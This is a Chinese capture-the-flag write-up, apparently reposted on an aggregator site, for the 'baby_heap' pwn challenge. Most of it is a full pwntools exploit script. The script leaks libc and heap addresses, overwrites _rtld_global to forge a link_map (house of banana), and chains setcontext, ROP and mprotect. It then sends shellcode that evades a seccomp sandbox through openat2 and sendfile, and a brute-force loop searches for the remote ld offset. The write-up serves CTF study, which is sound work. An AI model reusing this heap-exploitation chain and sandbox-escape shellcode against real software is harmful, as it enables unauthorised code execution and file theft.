当前位置: 首页 > article >正文

强网杯-PWN-baby_heap

本题开了沙箱,禁用了execve,open和openat,但是可以用openat2绕过。只能申请输入largebin大小的堆块,可以利用largebin特性泄露libc和heap的地址,泄露之后接下来方法就很多了,这里介绍house of banana的做法

首先是常规的泄露libc和heap的地址,非常简单

add(0x568)
add(0x560)
delete(1)
add(0x550)
show(1)
# debug()
main_arena_96 = get_addr()
libc_base = main_arena_96 - 2208032
p.recv(10)
heap_addr = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(heap_addr))
print(hex(libc_base))

接下来,我们发现程序中存在一个任意地址写的漏洞,但是会进行check检查,不过没有关系,house of banana打的是rtld_global,这个变量位于ld段,可以通过check,我们将其修改成我们可以控制的堆地址,然后伪造link_map,使之最后能够成功调用我们在堆上精心布置好的链子把flag给输出出来

ret = libc_base + 0x29139

pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi;ret;')))

pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi;ret;')))

pop_rdx_r12_ret = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))

leave_ret = libc_base + next(libc.search(asm('leave;ret;')))

pop_rax_ret = libc_base + 0x45eb0

open_addr=libc.symbols['open']+libc_base

read_addr=libc.symbols['read']+libc_base

write_addr=libc.symbols['write']+libc_base

syscall_ret = libc_base + 0x91316

setcontext=libc_base+libc.symbols['setcontext']

stderr = libc_base + libc.sym['stderr']

# rtld_global=libc_base+0x3fd040

offset = 0x3 << 20

offset += 0xf << 16

offset += 0xd << 12

offset += 0x040

rtld_global=libc_base+offset

env(1)

addr = rtld_global

write(p64(addr), p64(heap_addr)+p64(5))

next_link_map = rtld_global + 0x1850

magic_gadget1= libc_base + 0x1136df #1136df : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]

magic_gadget2= libc_base + 1482858 #

fake_addr=heap_addr

call_rax = libc_base + 0x29d8e

flag_write_addr = fake_addr+0x450

orw = p64(pop_rsi_ret) + p64(0x3000)

orw+= p64(pop_rax_ret) + p64(10)

orw+= p64(pop_rdx_r12_ret) + p64(0x7) + p64(0)

orw+= p64(syscall_ret)+p64(pop_rax_ret)+p64(fake_addr+0x398)+p64(call_rax)

x = asm(f"""

mov rax, 0

mov rdi, 0

mov rsi, {fake_addr+0x398}

mov rdx, 0x100

syscall

""")

orw += x

print(len(x))

pl = p64(0)+p64(next_link_map)+p64(0)+p64(fake_addr)

pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(magic_gadget1)

pl = pl.ljust(0xd0,b'\x00')+p64(setcontext+61)

pl = pl.ljust(0xf8,b'\x00')+p64(fake_addr+0x330-0xa0)+p64(fake_addr+0x40)

pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)

pl = pl.ljust(0x2e8,b'\x00') + p64(fake_addr-0x950)#0xb0-0xa00

pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314

pl = pl.ljust(0x320,b'\x00')

pl += p64(fake_addr+0x340) + p64(ret) + orw

print(f"----{x}-------{y}------{hex(offset)}")

edit(1, pl)

sla(b'choice: \n', b'5')

payload =b"\x90" * 0x21+ asm("""

mov rax, 0x67616c662f

push rax

xor rdi, rdi

sub rdi, 100

mov rsi, rsp

push 0

push 0

push 0

mov rdx, rsp

mov r10, 0x18

push SYS_openat2

pop rax

syscall

mov rdi, 1

mov rsi, 3

push 0

mov rdx, rsp

mov r10, 0x100

push SYS_sendfile

pop rax

syscall

""")

p.recvuntil(b"What ! Are you kidding me ? \n")

pause()

sl(payload)

inter()

现在我解释一下这个链子是如何构造的,这里不再介绍banana的link_map伪造,可以参考House of banana学习,这里为什么不直接调用setcontext+61呢,因为通过调试会发现到这里的rdx为1,直接用会crash掉,所以就从libc中找一个magic_gadget,把rdx赋值为我们可以控制的区域,然后去调用mprotect设置一段可读可写可执行区域,这个区域也是经过精心布置的,刚好在设置完mprotect的后面,然后再调用read向其中写openat2和sendfile的shellcode就可以得到flag了。这就是这道题整个house of banana的流程。其他方法还有house of some之类的,本处就不细谈了。还有一点就是,本地的ld偏移和远程不一样,需要爆破,这里给出爆破脚本。

from pwn import *
from struct import pack
from ctypes import *

context(os='linux', arch='amd64')
# p = process("./pwn")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

def exp(x, y):
    try:
        def s(a):
            p.send(a)
        def sa(a, b):
            p.sendafter(a, b)
        def sl(a):
            p.sendline(a)
        def sla(a, b):
            p.sendlineafter(a, b)
        def r():
            p.recv()
        def pr():
            print(p.recv())
        def rl(a):
            return p.recvuntil(a)
        def inter():
            p.interactive()
        def debug():
            gdb.attach(p)
        def get_addr():
            return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
        def add(size):
            sla(b'choice: \n', b'1')
            sla(b'commodity size \n', str(size).encode())
        def delete(idx):
            sla(b'choice: \n', b'2')
            sla(b'delete: \n', str(idx).encode())
        def edit(idx, content):
            sla(b'choice: \n', b'3')
            sla(b'edit: \n', str(idx).encode())
            sa(b'content \n', content)

        def show(idx):
            sla(b'choice: \n', b'4')
            sla(b'to show: \n', str(idx).encode())

        def env(choice):
            sla(b'choice: \n', b'5')
            sla(b"be sad !\n", str(choice).encode())

        def write(addr, value):
            sla(b'choice: \n', b'8')
            s(addr)
            s(value)

        p = remote("127.0.0.1", 9999)
        add(0x568)
        add(0x560)
        delete(1)
        add(0x550)
        show(1)
        # debug()
        main_arena_96 = get_addr()
        libc_base = main_arena_96 - 2208032
        p.recv(10)
        heap_addr = u64(p.recv(6).ljust(8, b"\x00"))
        print(hex(heap_addr))
        print(hex(libc_base))

        ret = libc_base + 0x29139
        pop_rdi_ret  = libc_base + next(libc.search(asm('pop rdi;ret;')))
        pop_rsi_ret  = libc_base + next(libc.search(asm('pop rsi;ret;')))
        pop_rdx_r12_ret = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;')))
        leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
        pop_rax_ret  = libc_base + 0x45eb0
        open_addr=libc.symbols['open']+libc_base
        read_addr=libc.symbols['read']+libc_base
        write_addr=libc.symbols['write']+libc_base
        puts_addr=libc.symbols['puts']+libc_base
        syscall_ret = libc_base + 0x91316
        setcontext=libc_base+libc.symbols['setcontext']
        # rtld_global=libc_base+0x3fd040
        offset = 0x2 << 20 #这里2,3,4都可能
        offset += x << 16
        offset += y << 12
        offset += 0x040
        rtld_global=libc_base+offset
        rtld_global_ptr=libc_base+libc.symbols['_rtld_global']
        # print(hex(rtld_global),"--",hex(rtld_global_ptr))
        env(1)
        # gdb.attach(p, "b *0x555555555c33")
        addr = rtld_global
        write(p64(addr), p64(heap_addr)+p64(5))
        next_link_map = rtld_global + 0x1850
        # print("next_link_map: ",hex(next_link_map))
        magic_gadget1= libc_base + 0x1136df #1136df : mov rdx, qword ptr [rax + 0xb0] ; call qword ptr [rax + 0x88]
        magic_gadget2= libc_base + 1482858 #
        fake_addr=heap_addr

        call_rax = libc_base + 0x29d8e
        flag_write_addr = fake_addr+0x450
        orw = p64(pop_rsi_ret) + p64(0x3000)
        orw+= p64(pop_rax_ret) + p64(10)
        orw+= p64(pop_rdx_r12_ret) + p64(0x7) + p64(0)
        orw+= p64(syscall_ret)+p64(pop_rax_ret)+p64(fake_addr+0x398)+p64(call_rax)
        x = asm(f"""
        mov rax, 0
        mov rdi, 0
        mov rsi, {fake_addr+0x398}
        mov rdx, 0x100
        syscall
        """)
        orw += x
        print(len(x))

        pl = p64(0)+p64(next_link_map)+p64(0)+p64(fake_addr)
        pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(magic_gadget1)
       
        pl = pl.ljust(0xd0,b'\x00')+p64(setcontext+61)
        pl = pl.ljust(0xf8,b'\x00')+p64(fake_addr+0x330-0xa0)+p64(fake_addr+0x40)
        pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48)
        pl = pl.ljust(0x2e8,b'\x00') + p64(fake_addr-0x950)#0xb0-0xa00
        pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314
        pl = pl.ljust(0x320,b'\x00')
        pl += p64(fake_addr+0x340) + p64(ret) + orw
        print(f"----{x}-------{y}------{hex(offset)}")
        edit(1, pl)

        sla(b'choice: \n', b'5')
        payload =b"\x90" * 0x21+ asm("""
        mov rax, 0x67616c662f
        push rax
        xor rdi, rdi
        sub rdi, 100
        mov rsi, rsp
        push 0
        push 0
        push 0
        mov rdx, rsp
        mov r10, 0x18
        push SYS_openat2
        pop rax
        syscall
        mov rdi, 1
        mov rsi, 3
        push 0
        mov rdx, rsp
        mov r10, 0x100
        push SYS_sendfile
        pop rax
        syscall
        """)

        p.recvuntil(b"What ! Are you kidding me ? \n")
        pause()
        sl(payload)
        inter()
    except:
        print('trying...')
        p.close()

for x in range(0xe,0x10):
    for y in range(0x10):
        exp(x,y)
 


http://www.kler.cn/a/380003.html

相关文章:

  • Python实现FTP服务器:从入门到实践
  • 微服务架构面试内容整理-领域驱动设计(DDD)
  • windows XP,ReactOS系统3.4 共享映射区(Section)---1
  • HTML5+css3(伪类,动态伪类,结构伪类,否定伪类,UI伪类,语言伪类,link,hover,active,visited,focus)
  • html简易流程图
  • 使用onnxruntime c++ API实现yolov5m视频检测
  • 清单文件 AndroidManifest.xml
  • 操作系统同步机制(锁、信号量等)
  • 基于大数据的热门旅游景点数据分析系统的设计与实现
  • 2-ARM Linux驱动开发-设备树平台驱动
  • 在Android开发中,如何获取手机设备中的所有文件信息?
  • CubeIDE BUG-project‘hello‘has no explict encoding set hello
  • Windows SEH异常处理讨论
  • 【软考】反规范化技术
  • 代码训练营 day55|卡码网98
  • Jenkins找不到maven构建项目
  • H7-TOOL的CAN/CANFD助手增加帧发送成功标识支持, 继续加强完善功能细节
  • 【GESP】C++一级真题练习(202303)luogu-B3835,每月天数
  • 基于 Transformer 的语言模型
  • 【BUG分析】clickhouse表final成功,但存在数据未合并
  • 十四届蓝桥杯STEMA考试Python真题试卷第二套第一题
  • 贝尔不等式的验证
  • Es 基础操作 增删改查
  • 一些常用的react hooks以及各自的作用
  • 【漏洞复现】泛微OA E-Office group_xml.php SQL注入漏洞
  • Vue项目与IE浏览器的兼容性分析(Vue|ElementUI)